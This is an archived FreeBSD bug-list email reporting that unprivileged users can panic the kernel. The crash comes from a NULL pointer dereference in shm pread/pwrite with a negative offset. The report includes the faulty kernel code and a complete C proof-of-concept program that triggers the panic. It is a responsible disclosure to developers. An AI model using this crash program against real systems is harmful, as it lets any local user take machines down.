From owner-freebsd-bugs@freebsd.org Tue Feb 28 19:39:52 2017 Return-Path: Delivered-To: freebsd-bugs@mailman.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) by mailman.ysv.freebsd.org (Postfix) with ESMTP id CAFA4CF187D for ; Tue, 28 Feb 2017 19:39:52 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2001:1900:2254:206a::16:76]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A22AA99E for ; Tue, 28 Feb 2017 19:39:52 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from bugs.freebsd.org ([127.0.1.118]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id v1SJdqhx037684 for ; Tue, 28 Feb 2017 19:39:52 GMT (envelope-from bugzilla-noreply@freebsd.org) From: bugzilla-noreply@freebsd.org To: freebsd-bugs@FreeBSD.org Subject: [Bug 217429] Users can cause NULL pointer deref and panic with shm file and pread/pwrite Date: Tue, 28 Feb 2017 19:39:52 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: new X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: kern X-Bugzilla-Version: 10.3-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Many People X-Bugzilla-Who: tim.newsham@nccgroup.trust X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: freebsd-bugs@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: bug_id short_desc product version rep_platform op_sys bug_status bug_severity priority component assigned_to reporter Message-ID: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated MIME-Version: 1.0 X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.23 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 28 Feb 2017 19:39:52 -0000 https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D217429 Bug ID: 217429 Summary: Users can cause NULL pointer deref and panic with shm file and pread/pwrite Product: Base System Version: 10.3-RELEASE Hardware: Any OS: Any Status: New Severity: Affects Many People Priority: --- Component: kern Assignee: freebsd-bugs@FreeBSD.org Reporter: tim.newsham@nccgroup.trust /* * shmcrash.c * Crash FreeBSD with pread/pwrite on a shm file. Description: Anon shm files create with shm_open have a NULL fp->f_vnode. But shm_preadv and shm_pwritev will access through this pointer when the offset is negative: error =3D fget_read(td, fd, cap_rights_init(&rights, CAP_PREAD), &fp); if (error) return (error); if (!(fp->f_ops->fo_flags & DFLAG_SEEKABLE)) error =3D ESPIPE; else if (offset < 0 && fp->f_vnode->v_type !=3D VCHR) error =3D EINVAL; else error =3D dofileread(td, fd, fp, auio, offset, FOF_OFFSET); This causes a NULL pointer dereference in kernel, and a panic. No privileges are required. */ #include #include #include #include #include #include #include void xperror(char *msg) { perror(msg); exit(1); } int main(int argc, char **argv) { char buf[64]; int fd, x, w; w =3D (argc =3D=3D 2 && argv[1][0] =3D=3D 'w'); printf("we will %s\n", w ? "write" : "read"); fd =3D shm_open(SHM_ANON, O_RDWR, 0); if(fd =3D=3D -1) xperror("shm_open"); printf("fd %d\n", fd); fflush(stdout); if(w) x =3D pwrite(fd, "test", 4, -1); else x =3D pread(fd, buf, sizeof buf, -1); printf("io %d\n", x); return 0; } --=20 You are receiving this mail because: You are the assignee for the bug.=